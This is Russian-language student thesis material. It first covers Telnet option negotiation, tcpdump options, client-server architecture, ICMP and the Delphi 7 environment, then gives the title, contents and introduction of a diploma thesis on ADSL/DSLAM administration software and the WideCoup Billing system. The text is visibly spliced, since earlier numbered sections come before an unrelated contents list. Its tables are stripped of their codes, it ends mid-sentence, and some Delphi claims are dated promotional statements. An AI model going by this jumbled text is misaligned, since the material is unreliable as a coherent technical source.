Далее TELNET переходит в режим ввода. В этом режиме любой введенный текст пересылается удаленной ЭВМ. Ввод может производиться посимвольно или построчно. При посимвольном режиме каждый введенный символ пересылается немедленно, при построчном режиме отклик на каждое нажатие клавиши производится локально, а пересылка выполняется лишь при нажатии клавиши . Некоторые опции требуют дополнительных данных, такая информация ожет быть получена с помощью субопций (RFC-1091). При этом клиент посылает трехбайтовую последовательность IAC WILL 24, где 24 — код-идентификатор терминала. Получатель может откликнуться последовательностью IAC DO 24, если все в порядке. Сервер в свою очередь посылает последовательность IAC SB 24 1 IAC SE, запрашивая тип терминала клиента. Здесь код 24 означает, что это субопция для опции типа терминала,а следующая 1 является командой «пришлите код вашего терминала». Клиент в свою очередь может откликнуться, послав последовательность — IAC SB 24 0 I B M P C IAC SE. Здесь байт 0 имеет значение «мой терминал имеет тип». Список кодов терминалов содержится в RFC-1700 [4].

В таблице 2 представлены коды операций службы Telnet.

Коды опций в Telnet

Код опции в Telnet

Подавление буферизации ввода

Диалог о размере сообщения

Код опции в Telnet

Удаленный доступ и отклик

Длина выходной строки

Размер выходной страницы

Режим вывода символов

Вывод горизонтальной табуляции

Установка положения табуляции при выводе

Режим вывода команды смены страницы

Вывод вертикальной табуляции

Определяет положение вертикальной табуляции

Режим вывода символа

Расширенный набор кодов ASCII

Терминал ввода данных

Tacacs- идентификация пользователя

Код положения терминала

Многие telnet-клиенты позволяют также указывать явно номер порта, через который должна быть установлена связь. По умолчанию это порт 23. Обычный пользователь не интересуется, через какой порт он работает. Но иногда желательно реализовывать telnet через разные порты системы, обеспечивающие различные услуги, это бывает полезно и с отладочными целями. Используя команду telnet XXXXXX.domain можно осуществить связь через порт с заданным номером с узлом XXXXXX.domain. Многие библиотеки используют метод портов для обеспечения доступа к своим ресурсам внешних Inernet-пользователей.

Помимо telnet существуют и другие стандартные процедуры, выполняющие схожие задачи.

Tcpdump выводит заголовки пакетов проходящих через сетевой интерфейс, которые совпадают с булевым выражением. Он может также быть запущен с ключем -w, который заставляет сохранять данные пактов в файл для дальнейшего исследования, и/или с ключем -r, который заставляет читать сохраненные пакеты из файла, вместо чтения пакетов из сетевого интерфейса. В любом случае, tcpdump будут обработаны только те пакеты, которые совпадают с выражением.

Tcpdump будет, если не запущен с ключем -c, продолжать собирать пакеты до тех пор, пока не будет прерван сигналом SIGINT (генерируемым, для примера, вводом Вашего символа прерывания, обычно CTRL+C) или сигналом SIGTERM (обычно генерируемого командой kill). Если запуск был с ключем -c, то сбор пакетов будет продолжаться до тех пор, пока не произойдет прерывание сигналом SIGINT или SIGTERM или пока не будет обработано определенное количество пакетов [5].

Когда tcpdump закончит сбор пакетов, то будет сообщено об количестве:

— пакетов «полученных фильтром» (received by filter) (значение зависит от той ОС, на какой Вы запускаете tcpdump, и, возможно, от способа, котрым ОС была сконфигурирована — если фильтр был определен в командной строке, на некоторых ОС будут сосчитаны пакеты независимо от фильтрующего выражения, а в других ОС будут сосчитаны только те пакеты, которые попадают под фильтрующее и выражение, и были обработаны tcpdump);

— пакетов «отброшенных ядром» (dropped by kernel) (это число пакетов, которые были отброшены, в зависимости от механизма сбора пакетов (недостаточного объема буферов) на той ОС, где запускается tcpdump, ОС предоставит эту информацию приложению или нет, и тогда будет выведено число 0).

Дальше идет описание ключей. Вот некоторые из них:

— -c count выйти после получения определенного количества пакетов;

— -C file_size перед записью «сырого» пакета в файл, происходит проверка на превышение размером файла лимита, указанного в file_size. Если размер файла больше, то файл закрывается и открывается новый. Новый файл будет иметь имя определенное в ключе -w, со стоящим в конце числом 2, которое будет увеличиваться в следующих именах файлов. file_size определяет размер в миллионах байт (1,000,000), а не мегабайтах (1,048,576);

— -F file использовать file для ввода фильтрующего выражения. Выражение, указанное в командной строке, будет игнорироваться;

— -i interface собирать пакеты только на определенном интерфейсе. Если не указан — берется минимальный по номеру интерфейс (исключая loopback). Для Linux-ядер 2.2 и более новых, возможно указать ‘any’, тогда будет происходить сбор на всех интерфейсах, но они не будут переведены в режим promiscuous;

— -n не преобразовывать адрес хоста в имя. Может быть использовано, если необходимо избегать DNS-запросов;

— -nn не преобразовывать протокол и номер порта в их имена;

— -N не выводить доменную часть имени хоста. Например, при данном ключе будет выводится «nic» вместо «nic.ddn.mil»;

— -p не переводить интерфейс в режим promiscuous. Следует заметить, что интерфейс может быть в режиме promiscuous по другим причинам;

— -r file читать пакеты из file (который, был создан с ключем -w). Если file указан как «-«, то используется стандартный ввод;

— -t не выводить временной штамп (timestamp) в каждой строке дампа (dump);

— -tt выводит не форматированный временной штамп в каждой строке дампа;

— -ttt выводить разницу (в микросекундах) между текущей и предыдущей строками дампа;

— -tttt выводить временной штамп вместе с датой в формате по-умолчанию в каждой строке дампа;

— -v подробный вывод. Для еще более подробного вывода используются: -vv и -vvv;

— -w file писать «сырые» пакеты в file перед тем как произвести их разбор и вывести. Они могут быть позднее выведены с ключем -r. Если file указан как «-«, то используется стандартный вывод;

— -x печатать каждый пакет (без заголовков уровня соединения) в шестнадцатиричном виде;

— -X помимо шестнадцатиричного вида выводить их ASCII-значения.

Изначально программа tcpdump была разработана для UNIX-подобных систем, позже — портирована на другие системы.

Для Windows в настоящее время известны:

— «tcpdump для Windows», коммерческая реализация, в виде одного файла tcpdump.exe;

— «WinDump», реализация с открытым кодом, требующая установки библиотеки WinPcap (свободное ПО).

Пример tcpdump выявление аномалий TCP путем вычисления отношения числа исходящих пакетов с SYN флагом к числу входящих с SYN+ACK:

SYN_ONLY_FROM_ISP=`tcpdump -n -l -r $1 ‘src net 192.168.0.0/24’ and \ ‘dst net not 192.168.0.0/24’ and ‘tcp[13] == 2’ | wc | awk ‘‘`[6].

1.3 Обоснование выбора технологии и программных средств для разработки утилиты

1.3.1 Архитектура клиент-сервер


Технология клиент-сервер подразумевает выполнение запросов пользователей специализированным компьютером, называемым сервером. Пользователи, которые отправляют запросы на этот сервер, называются клиентами. Запрос на выполнение операции с данными (например, обычная выборка), выдаваемый клиентом, порождает на сервере поиск и извлечение данных. Извлеченные данные транспортируются по сети от сервера к клиенту. Системы, использующие технологию клиент-сервер, разделяются на две части: клиентская часть обеспечивает графический интерфейс и находится на компьютере пользователя; серверная часть обеспечивает управление данными, разделение информации, администрирование и безопасность и находится на специально выделенных для этого компьютерах [7].

Большинство прикладных систем включает модули, реализующие GUI, обработку бизнес-информации и доступ к базам данных. Концепции многоуровневой конструкции относятся как к внутрифирменным, так и к глобальным информационным системам. В двух- и трехуровневых системах приложение логически разбивается на три части:

В основе своей двухуровневая система имеет GUI и бизнес-логику с прямым доступом к базе данных. GUI находится на системе клиента, а база данных — либо у клиента, либо на сервере. Обычно GUI пишется на C++, Visual Basic, Access Basic и т.д. Типичными базами данных являются MIcrosoft Access, Personal Oracle и т.д.

Двухуровневая система изображена на рисунке 1.

Рисунок 1. Двухуровневая система

Большинство клиент-серверных приложений следуют сегодня трехуровневой стратегии, при которой GUI, бизнес-логика и базы данных логически разбиты на три слоя. Здесь GUI пишется на Visual Basic, C++ или Power Builder, средствами разработки среднего слоя также служит C++ или Visual Basic. В качестве базы данных используются Oracle, Microsoft SQLServer и т.д. Трехуровневая концепция дала начало эпохе серверов баз данных, серверов приложений и клиентских GUI-машин. Такие операционные системы как UNIX, Windows NT и Solaris правят в мире серверов баз данных и приложений. Клиентские операционные системы (Windows) популярны среди разработчиков GUI. Двухуровневая архитектура может быть дополнена третьим программным уровнем во избежание встраивания логики приложения как в клиентскую часть, так и в базу данных. В трехуровневой архитектуре большая часть логики приложения зафиксирована на среднем уровне. В подобной архитектуре при изменении направления деловой активности или бизнес-процессов меняется только программное обеспечение программного слоя.

Трехуровневая система изображена на рисунке 2.

Рисунок 2. Трехуровневая система.

Сейчас, во времена Internet и Java изменились взгляды на отношения клиента и компьютерной сети. Апплеты Java с их объектами и методами привели к возникновению идеи многоуровневой клиент-серверной системы. Теоретически апплет Java может содержать бизнес-логику, GUI или СУБД. Каждый апплет можно рассматривать как отдельный слой. Концепция объектно-ориентированных многоуровневых систем возникла до появления Internet и Java. Архитектуры CORBA фирмы OMG и OLE (теперь ActiveX) фирмы Microsoft являются первыми модульными объектно-ориентированными системами, работающими на разных платформах. Internet и Java упростили реализацию этой концепции. Конструкция и реализация систем прошли путь от двух и трехуровневой архитектуры до современных межсетевых многоуровневых архитектур, основанных на апплетах Java [8].

Многоуровневая система изображена на рисунке 3.

Рисунок 3. Многоуровневая система

1.3.2 Протокол передачи команд и сообщений об ошибках (ICMP)

Internet control message protocol используется программным обеспечением ЭВМ при взаимодействии друг с другом в рамках идеологии TCP/IP. Осуществление повторной передачи пакета, если предшествующая попытка была неудачной, лежит на TCP или прикладной программе. При пересылке пакетов промежуточные узлы не информируются о возникших проблемах, поэтому ошибка в маршрутной таблице будет восприниматься как неисправность в узле адресата и достоверно диагностироваться не будет. ICMP-протокол сообщает об ошибках в IP-дейтограммах, но не дает информации об ошибках в самих ICMP-сообщениях. icmp использует IP, а IP-протокол должен использовать ICMP. В случае ICMP-фрагментации сообщение об ошибке будет выдано только один раз на дейтограмму, даже если ошибки были в нескольких фрагментах. Подводя итоги, можно сказать, что ICMP-протокол осуществляет:

— передачу отклика на пакет или эхо на отклик;

— контроль времени жизни дейтограмм в системе;

— реализует переадресацию пакета;

— выдает сообщения о недостижимости адресата или о некорректности параметров;

— формирует и пересылает временные метки;

— выдает запросы и отклики для адресных масок и другой информации.

ICMP-сообщения об ошибках никогда не выдаются в ответ на:

— icmp-сообщение об ошибке;

— при мультикастинг или широковещательной адресации;

— для фрагмента дейтограммы (кроме первого);

— для дейтограмм, чей адрес отправителя является нулевым, широковещательным или мультикастинговым.

Сообщения ICMP должны отправляться в некоторых затруднительных ситуациях. Например, когда датаграмма не может достичь своего адресата, когда шлюз не имеет достаточно места в своем буфере для передачи какой-либо датаграммы, или когда шлюз приказывает хост-компьютеру отправлять информацию по более короткому маршруту.

Протокол Internet не создан для того, чтобы обеспечивать абсолютную надежность передачи информации. Целью же данных контрольных сообщений является обеспечение обратной связи, оповещение отправителя данных о проблемах, возникающих в коммуникационном оборудовании. Их целью не является придание надежности протоколу IP. Протокол не дает гарантий, что датаграмма достигает своего адресата или что контрольное сообщение будет возвращено компьютеру, отправившему данные.

Некоторые из датаграмм могут исчезнуть в сети, не вызвав при этом ни каких оповещений. Протоколы более высокого уровня, использующие протокол IP, должны применять свои собственные процедуры для обеспечения надежности передачи данных, если таковая требуется [9].

В таблице 3 указан список типов сообщений.

Список типов сообщений

Ответ на запрос эхо

Превышение контрольного времени

Проблемы с параметрами

Ответ на запрос штампа времени

Ответ на запрос информации

1.3.3 Среда разработки Borland Delphi 7

Delphi — это комбинация нескольких важнейших технологий:

— высокопроизводительный компилятор в машинный код;

— объектно-ориентированная модель компонент;

— визуальное (а, следовательно, и скоростное) построение приложений из программных прототипов;

— масштабируемые средства для построения баз данных.

Компилятор, встроенный в Delphi, обеспечивает высокую производительность, необходимую для построения приложений в архитектуре “клиент-сервер”. Этот компилятор в настоящее время является самым быстрым в мире, его скорость компиляции составляет свыше 120 тысяч строк в минуту на компьютере 486DX33. Он предлагает легкость разработки и быстрое время проверки готового программного блока, характерного для языков четвертого поколения (4GL) и в то же время обеспечивает качество кода, характерного для компилятора 3GL. Кроме того, Delphi обеспечивает быструю разработку без необходимости писать вставки на Си или ручного написания кода (хотя это возможно).

В процессе построения приложения разработчик выбирает из палитры компонент готовые компоненты как художник, делающий крупные мазки кистью. Еще до компиляции он видит результаты своей работы — после подключения к источнику данных их можно видеть отображенными на форме, можно перемещаться по данным, представлять их в том или ином виде. В этом смысле проектирование в Delphi мало чем отличается от проектирования в интерпретирующей среде, однако после выполнения компиляции мы получаем код, который исполняется в 10-20 раз быстрее, чем то же самое, сделанное при помощи интерпретатора. Кроме того, компилятор компилятору рознь, в Delphi компиляция производится непосредственно в родной машинный код, в то время как существуют компиляторы, превращающие программу в так называемый p-код, который затем интерпретируется виртуальной p-машиной. Это не может не сказаться на фактическом быстродействии готового приложения.

Основной упор этой модели в Delphi делается на максимальном реиспользовании кода. Это позволяет разработчикам строить приложения весьма быстро из заранее подготовленных объектов, а также дает им возможность создавать свои собственные объекты для среды Delphi. Никаких ограничений по типам объектов, которые могут создавать разработчики, не существует. Действительно, все в Delphi написано на нем же, поэтому разработчики имеют доступ к тем же объектам и инструментам, которые использовались для создания среды разработки. В результате нет никакой разницы между объектами, поставляемыми Borland или третьими фирмами, и объектами, которые вы можете создать.

В стандартную поставку Delphi входят основные объекты, которые образуют удачно подобранную иерархию из 270 базовых классов. Для начала — неплохо. Но если возникнет необходимость в решении какой-то специфической проблемы на Delphi, советуем, прежде чем попытаться начинать решать проблему “с нуля”, просмотреть список свободно распространяемых или коммерческих компонент, разработанных третьими фирмами, количество этих фирм в настоящее время превышает число 250. Скептики, возможно, не поверят мне, когда я скажу, что на Delphi можно одинаково хорошо писать как приложения к корпоративным базам данных, так и, к примеру, игровые программы. Тем не менее, это так. Во многом это объясняется тем, что традиционно в среде Windows было достаточно сложно реализовывать пользовательский интерфейс. Событийная модель в Windows всегда была сложна для понимания и отладки. Но именно разработка интерфейса в Delphi является самой простой задачей для программиста.

Cреда Delphi включает в себя полный набор визуальных инструментов для скоростной разработки приложений (RAD — rapid application development), поддерживающей разработку пользовательского интерфейса и подключение к корпоративным базам данных. VCL — библиотека визуальных компонент, включает в себя стандартные объекты построения пользовательского интерфейса, объекты управления данными, графические объекты, объекты мультимедиа, диалоги и объекты управления файлами, управление DDE и OLE. Единственное, что можно поставить в вину Delphi, это то, что готовых компонент, поставляемых Borland, могло бы быть и больше. Однако, разработки других фирм, а также свободно распространяемые программистами freeware-компоненты уже восполнили этот недостаток. Постойте, — скажете вы, ведь это уже было. Да, это было в Visual Basic.

В первую очередь Delphi предназначен для профессионалов-разработчиков корпоративных информационных систем. Может быть, здесь следует пояснить, что конкретно имеется в виду. Не секрет, что некоторые удачные продукты, предназначенные для скоростной разработки приложений (RAD — rapid application development) прекрасно работают при изготовлении достаточно простых приложений, однако, разработчик сталкивается с непредвиденными сложностями, когда пытается сделать что-то действительно сложное. Бывает, что в продукте вскрываются присущие ему ограничения только по прошествии некоторого времени.

Delphi такие ограничения не присущи. Хорошее доказательство тому — это тот факт, что сам Delphi разработан на Delphi. Можете делать выводы. Однако Delphi предназначен не только для программистов-профессионалов. Я читал в электронной конференции совершенно неожиданные для меня письма, где учителя, врачи, преподаватели ВУЗов, бизнесмены, все те, кто используют компьютер с чисто прикладной целью, рассказывали о том, что приобрели Delphi for Windows для того, чтобы быстро решить какие-то свои задачи, не привлекая для этого программистов со стороны. В большинстве случаев им это удается. Поразительный факт — журнал Visual Basic Magazine присудил свою премию Delphi for Windows.

Руководители предприятий, планирующие выделение средств на приобретение программных продуктов, должны быть уверены в том, что планируемые инвестиции окупятся. Поэтому одним из оцениваемых факторов должен быть вопрос — а легко ли найти специалиста по Delphi и сколько будет стоить его обучение, сколько времени специалист затратит на овладение продуктом. Ответ здесь получить весьма просто — любой программист на паскале способен практически сразу профессионально освоить Delphi. Специалисту, ранее использовавшему другие программные продукты, придется труднее, однако самое первое работающее приложение он сможет написать в течение первого же часа работы на Delphi. И, конечно же, открытая технология Delphi является мощным гарантом того, что инвестици, сделанные в Delphi, будут сохранены в течение многих лет.

Локальный сервер InterBase — следует заметить, что этот инструмент предназначен только для автономной отладки приложений. В действительности он представляет из себя сокращенный вариант обработчика SQL-запросов InterBase, в который не включены некоторые возможности настоящего сервера InterBase. Отсутствие этих возможностей с лихвой компенсируется преимуществом автономной отладки программ.

Team Development Support — средство поддержки разработки проекта в группе. Позволяет существенно облегчить управление крупными проектами. Это сделано в виде возможности подключения такого продукта как Intersolve PVCS 5.1 непосредственно к среде Delphi.

Высокопроизводительный компилятор в машинный код — в отличие от большинства Паскаль-компиляторов, транслирующих в p-код, в Delphi программный текст компилируется непосредственно в машинный код, в результате чего Delphi- приложения исполняются в 10-20 раз быстрее (особенно приложения, использующие математические функции). Готовое приложение может быть изготовлено либо в виде исполняемого модуля, либо в виде динамической библиотеки, которую можно использовать в приложениях, написанных на других языках программирования.

Благодаря такой архитектуре приложения, изготовленные при помощи Delphi, работают надежно и устойчиво. Delphi поддерживает использование уже существующих объектов, включая DLL, написанные на С и С++, OLE сервера, VBX, объекты, созданные при помощи Delphi. Из готовых компонент работающие приложения собираются очень быстро. Кроме того, поскольку Delphi имеет полностью объектную ориентацию, разработчики могут создавать свои повторно используемые объекты для того, чтобы уменьшить затараты на разработку.

Delphi предлагает разработчикам — как в составе команды, так и индивидуальным — открытую архитектуру, позволяющую добавлять компоненты, где бы они ни были изготовлены, и оперировать этими вновь введенными компонентами в визуальном построителе. Разработчики могут добавлять CASE-инструменты, кодовые генераторы, а также авторские help’ы, доступные через меню Delphi.

Two-way tools — однозначное соответствие между визуальным проектированием и классическим написанием текста программы Это означает, что разработчик всегда может видеть код, соответствующий тому, что он построил при помощи визуальных инструментов и наоборот.

Визуальный построитель интерфейсов (Visual User-interface builder) дает возможность быстро создавать клиент-серверные приложения визуально, просто выбирая компоненты из соответствующей палитры.

Эта библиотека объектов включает в себя стандартные объекты построения пользовательского интерфейса, объекты управления данными, графические объекты, объекты мультимедиа, диалоги и объекты управления файлами, управление DDE и OLE.

Delphi использует структурный объектно-ориентированный язык (Object Pascal), который сочетает с одной стороны выразительную мощь и простоту программирования, характерную для языков 4GL, а с другой стороны эффективность языка 3GL. Программисты немедленно могут начать производить работающие приложения, и им не придется для этого изучать особенности программирования событий в Windows. Delphi полностью поддерживает передовые программные концепции включая инкапсуляцию, наследование, полиморфизм и управление событиями.

Delphi обладает мощнейшим, встроенным в редактор графическим отладчиком, позволяющим находить и устранять ошибки в коде. Вы можете установить точки останова, проверить и изменить переменные, при помощи пошагового выполнения в точности понять поведение программы. Если же требуются возможности более тонкой отладки, Вы можете использовать отдельно доступный Turbo Debugger, проверив ассемблерные инструкции и регистры процессора.

Delphi (Дельфи) — cреда программирования, использующая язык Object Pascal, разработанный фирмой Borland и изначально реализованный в её пакете Borland Delphi, от которого и получил в 2003 году своё нынешнее название. По сути, является наследником языка Pascal с объектно-ориентированными расширениями.

Изначально язык был предназначен исключительно для разработки приложений Microsoft Windows, затем был реализован также для платформ Linux (как Kylix), однако после выпуска в 2002 году Kylix 3 его разработка была прекращена, и, вскоре после этого, было объявлено о поддержке Microsoft.NET. При этом высказывались предположения, что эти два факта взиамосязаны. Аналогичная ситуация имела место и ранее — см. Турбо Паскаль.

Реализация языка Delphi проектом Free Pascal позволяет использовать его для создания приложений для таких платформ, как Mac OS X, Windows CE и Linux.

1.4 Определения, термины и сокращения

Ниже представлена таблица 3 определений, терминов и сокращений

Дипломная работа: Разработка программного комплекса для автоматизации работы администратора узла по предоставлению

1 Анализ предметной области и постановка задачи.

1.1 Типы автоматизированных систем и их характеристики

1.2 Выбор платформы и инструментов проектирования

1.3 Постановка задачи

1.3.1 Исходные данные

1.3.2 Выходные данные

2 Описание структурной модели, методов и алгоритмов, структуры

2.1. Проектирование базы данных и работа с ней

2.2 Алгоритм работы клиентской части узла и общая структура

2.3 Алгоритм работы клиентской части абонентского отдела

2.4 Алгоритм доступа к оборудованию DSLAM

3 Описание разработанной программной среды

3.1 Описание клиентской части узла

3.2 Описание клиентской части абонентского отдела

3.3 Описание системы автоматического сброса зависших портов

3.4 Описание системы оповещения администраторов о неполадках в

3.5 Описание системы защиты от несанкционированного доступа

4 Тестирование комплекса и анализ его работы

5 Безопасность жизни и деятельности человека

5.1 Охрана труда на производстве

5.2 Система управления охраны труда промышленного предприятия

5.3 Вентиляция производственных помещений

5.4 Оказание первой помощи поражённому электрическим током

6 Организационно-экономическая часть

Приложение А Экранные формы

Приложение Б Руководство пользователя

Приложение В Листинг основных частей комплекса

ПЕРЕЧЕНЬ ОБОЗНАЧЕНИЙ, СИМВОЛОВ, ЕДИНИЦ, СОКРАЩЕНИЙ И ТЕРМИНОВ

БД – База данных

ADSL– Asymmetric Digital Subscriber Line —

асимметричная цифровая абонентская линия

ПК – Программный комплекс


СУБД– Система управления базами данных

DSLAM– Digital Subscriber Line Access Multiplexer —

мультиплексор доступа цифровой абонентской линии.

ШПД – Широкополосный доступ.

Разработал Фамилия Подпись Дата Лист

В конце 2005 г. по всей территории Украины ОАО «Укртелеком» начал развёртывание сети широкополосного доступа в сеть Интернет по технологии ADSL.ADSL — модемная технология, предназначенная для решения проблемы последней мили. Преобразует стандартные абонентские телефонные аналоговые линии в линии высокоскоростного доступа. Основное преимущество данной технологии в том, что нет необходимости прокладывать кабель до абонента. Используются уже проложенные телефонные кабели, на которые устанавливаются сплиттеры. Для приёма и передачи данных используются разные каналы: приёмный обладает существенно большей пропускной способностью. Данная технология является асимметричной, то есть скорость передачи данных в направлении от сети к пользователю значительно выше, чем скорость передачи данных от пользователя в сеть. Такая асимметрия, в сочетании с состоянием «постоянно установленного соединения» (когда исключается необходимость каждый раз набирать телефонный номер и ждать установки соединения), делает технологию ADSL идеальной для организации доступа в сеть Интернет, а также для доступа к локальным сетям (ЛВС) и т. п. При организации таких соединений пользователи обычно получают гораздо больший объём информации, чем передают. Технология ADSL обеспечивает скорость «входящего» потока данных в пределах от 1,5 Мбит/с до 24 Мбит/с и скорость «исходящего» потока данных от 640 Кбит/с до 3,5 Мбит/с. ADSL позволяет передавать данные со скоростью 1,54 Мбит/с на расстояние до 5,5 км по одной витой паре проводов. Скорость передачи порядка 6-8 Мбит/с может быть достигнута при передаче данных на расстояние не более 3,5 км по проводам диаметром 0,5 мм. Благодаря этому стало возможно предоставление качественного и высокоскоростного доступа к сети Интернет абонентам ОАО «Укртелеком». В результате услуга приобрела популярность и спрос стал превышать предложение, поэтому для организации нормальной работы обслуживающего персонала стало острой проблема разработки программного комплекса который сочетал бы в себе возможности накопления и учёта поступающих заявок, а также функции администрирования соответствующего оборудования. Основным критерием должна выступать наглядность предоставляемой информации и безопасность доступа к ПК, необходимо исключить возможность несанкционированного доступа к оборудованию.

1 АНАЛИЗ ПРЕДМЕТНОЙ ОБЛАСТИ И ПОСТАНОВКА ЗАДАЧИ

Для конечных пользователей технологии ADSL обеспечивает высокоскоростное и надежное соединение между сетями или с сетью Интернет, а телефонные компании получают возможность исключить потоки данных из своего коммутационного оборудования, оставляя его исключительно для традиционной телефонной связи. Обеспечение высокоскоростной передачи данных по медной двухпроводной абонентской телефонной линии достигается установкой оборудования DSL на абонентском конце линии и на «конечной остановке» магистральной сети высокоскоростной передачи данных, которая должна находится на телефонной станции, к которой подключена данная абонентская линия. Если на абонентской линии с использованием технологии DSL организована высокоскоростная передача данных, информация передается в виде цифровых сигналов в полосе гораздо более высоких частот, чем та, которая обычно используется для традиционной аналоговой телефонной связи. Это позволяет значительно расширить коммуникационные возможности существующих витых пар телефонных проводов. Использование технологий DSL на абонентской телефонной линии позволило превратить абонентскую кабельную сеть в часть сети высокоскоростной передачи данных. Телефонные компании получили возможность увеличить свои прибыли, используя существующую кабельную телефонную сеть для предоставления своим абонентам возможности высокоскоростной передачи данных по доступной цене. Кроме обеспечения высокоскоростной передачи данных, технологии DSL являются эффективных средством организации многоканальных служб телефонной связи. С помощью технологии VoDSL (голос по DSL) можно объединить большое количество каналов телефонной (голосовой) связи и передать их по одной абонентской линии, на которой установлено оборудование DSL. Более того, широкополосные сети, построенные на базе технологии DSL, не ограничены только организацией многоканальной голосовой связи или высокоскоростной передачи данных. Они представляют собой базовую сеть для внедрения других служб, непременно требующих для своей работы широкой полосы частот. Обеспечение доступа в сеть Интернет является одной из основных функций современных цифровых сетей. Ширина используемой полосы частот зависит от применяемой технологии высокоскоростной передачи данных. Организация видеоконференций требует симметричной передачи данных. Так как при организации видеоконференций необходимо передавать и голос и видеосигнал, то такая служба требует наиболее широкой частотной полосы по сравнению с другими службами. При этом минимальная задержка в передачи или потеря части информации могут быть замечены немедленно. Организация службы видео по запросу требует установки асимметричного соединения. Восходящий поток передачи данных (от пользователя в сеть) используется для передачи пользователем сигналов управления (таких, как воспроизведение, остановка, пауза, перемотка и т.п.). Нисходящий поток передачи данных используется для передачи пользователю запрошенного видеосигнала. Для обеспечения возможности организации новых служб сеть абонентских двухпроводных телефонных линий должна пройти определенный этап развития от аналоговой узкополосной сети, предназначенной для передачи только телефонных разговоров, до цифровой широкополосной сети, предназначенной не только для передачи голоса, но и для передачи данных и видеосигналов. Настоятельная потребность в высокоскоростной передаче данных привела к созданию технологий и соответствующего оборудования DSL. Для обеспечения должного уровня обслуживания, например, в городах, оборудование доступа должно быть установлено на сотнях телефонных станций. Только после установки необходимого оборудования можно предлагать данную услугу потенциальным пользователям. Предоставление абонентам услуги высокоскоростной передачи данных включает в себя установку необходимого оборудования у абонента, правильное подключение и подготовку линии, соединяющей оборудование пользователя с тем оборудованием, которое установлено на телефонной станции, и начало обслуживания. При этом существует и потребность в подготовке кадров, обладающих умением работать с оборудованием и технологиями DSL, для всех организаций, участвующих в предоставлении данной услуги.

1.1 Типы автоматизированных систем и их характеристики

Узкая специализация разрабатываемого программного обеспечения не позволяет точно оценить и сравнить ПК «АРМА» с существующими аналогами, однако существуют комплексы функции которых частично совпадают. Одним из такими программными продуктами является :

Биллинговая система WideCoup Billing 3.0, как основа решения для операторов услуг электросвязи разработана на основании общих технических требований «Автоматизированные системы расчетов с пользователями за услуги электросвязи. Общие технические требования», которые в свою очередь были разработаны в соответствии законам Украины «О связи», «О метрологии и метрологической деятельности», «О защите прав потребителей», «Об информации», действующих ГОСТ, других нормативных документов, а также с учетом Рекомендаций Международного Союза Электросвязи (МСЭ) и опыта, приобретенного при эксплуатации разнообразных типов Автоматизированных систем расчетов с пользователями за услуги электросвязи (АСР).

Данное решение может c успехом применяться при построении Автоматизированных систем расчетов (АСР) операторами электросвязи в сетях общего пользования и согласно действующему законодательству Украины может быть сертифицировано после проверки на соответствие техническим требованиям ГСТУ 45.028-2004 соответственно правилам Системы сертификации УкрСЕПРО.

Автоматизированная система расчетов за услуги электросвязи на основе продукта WideCoup Billing – это программно-аппаратный комплекс, предназначенный для:

— регистрации и учета абонентов сетей электросвязи, которые имеют соглашение с операторами о предоставлении услуг электросвязи;

— учета объема и номенклатуры услуг электросвязи, которые предоставляются, и расчеты их стоимости;

— учета сумм платежей за предоставленные услуги электросвязи;

— контроля оплаты предоставленных услуг электросвязи;

— справочно-информационного обслуживания абонентов и пользователей системы по вопросам объема и номенклатуры предоставленных услуг электросвязи и их оплаты;

— формирования информации, предназначенной для выставления счетов на оплату предоставленных услуг электросвязи;

— формирования статистической отчетности и аналитической информации из предоставленных услуг электросвязи и осуществленной оплаты этих услуг, финансового состояния личных счетов абонентов для оперативного и обоснованного принятия решений относительно управления организацией электросвязи.

АСР WideCoup Billing обеспечивает возможность адаптации и интегрирования ее с другими подсистемами технологического процесса предоставления услуг электросвязи и управление предприятием связи. По признаку серийного производства АСР WideCoup Billing относиться к системам, которые тиражируются, то есть NATEС R&D предлагает серийное производство и внедрение системы на сетях многих операторов связи. Для успешного функционирования АСР необходимо наличие персонала предприятия связи для выполнения 3-х основных ролей в системе:

— пользователь системы — персонал предприятия связи, привлеченный к технологическому процессу предоставления услуг электросвязи.

— администратор системы — персонал предприятия связи, ответственный за введение в БД и модификацию нормативно-справочных данных, обеспечения их актуальности, поддержка целостности БД, выделения полномочий другим пользователям, контроль корректности эксплуатации АСР пользователями, анализ и принятия решений при возникновении нештатных ситуации.

— оператор системы — персонал предприятия связи, ответственный за введение в БД и модификацию данных текущего положения, обеспечение их актуальности, выполнение штатных процедур, оповещение администратора о всех нештатных ситуациях.

— структура и функционирование автоматизированной системы расчетов WideCoup Billing, система состоит из подсистем, объединенных единым информационным обеспечением, и реализующим такие основные функции:

— сбор, обработка и введения в БД первичной информации о предоставленных услугах электросвязи и их оплату;

— регистрация и контроль, платежей

— выявление незарегистрированных средств или несанкционированного подключения абонентов;

— ведение нормативно-справочной информации из услуг, тарифов, категорий абонентов и т.п.;

— тарификация и расчет платежей по предоставленным услугам связи;

— формирование счетов абонентам;

— информационно-справочное обслуживание абонентов и пользователей системы;

— формирование документов статистической отчетности и информационно-аналитических документов за предоставленными услугами, категориями абонентов и т.п.;

— информационная поддержка проведения взаиморасчетов с операторами-партнерами за предоставление услуг электросвязи, абонентам;

— сбор данных о жалобах абонентов на расчет, организация решения спорных вопросов с абонентами;

— возможность управления технологическим оборудованием сети оператора связи, относительно активизации или блокирование абонентского номера, или любых услуг.

Рисунок 1.1–Общая структурная схема АСР WideCoup Billing

Система обеспечивает автоматизацию процесса проведения расчетов с абонентами за все виды услуг, предоставленных оператором связи и контроль выплат, которые поступили. Кроме того, АСР на базе продукта АСР WideCoup Billing доступна относительно развития и внесения изменений, которые обусловлены:

— изменением количества абонентов, которые обслуживаются;

— введением новых нормативно-правовых документов или дополнений к действующих;

— усовершенствованием технических и программных средств;

— расширением номенклатуры предоставленных услуг и действующих форм оплат.

Взаимодействие с другими системами в системе может быть обеспеченна возможность взаимодействия с внешними, относительно АСР, автоматизированными системами оператора электросвязи: технологическими (коммутационные системы, системы передачи данных и т.п.) для АСР высшего уровня; информационно-справочными (базы данных справочных служб операторов связи, и др.); финансово-экономическими (системы бухгалтерского учета, АРМ отдела планирования и прочие); банковскими. В система на базе продукта АСР WideCoup Billing организован интерфейс пользователя, который не требует специальной подготовки персонала для работы с вычислительными средствами, но которой предусматривает наличие практики работы с ними. Это достигается путем создания удобной системы диалога с АСР и наличия развитой системы помощи и оперативных подсказок. Предусматривается специальная подготовка для пользователей системы при эксплуатации АСР необходимая только для администрирования системы. Система обеспечивает беспрерывный круглосуточный режим работы и позволяет наращивать количество рабочих мест в границах, необходимых для максимально эффективной, стойкой работы с учетом предельной емкости сети электросвязи. Стык АСР с техническими средствами регистрации услуг относительно 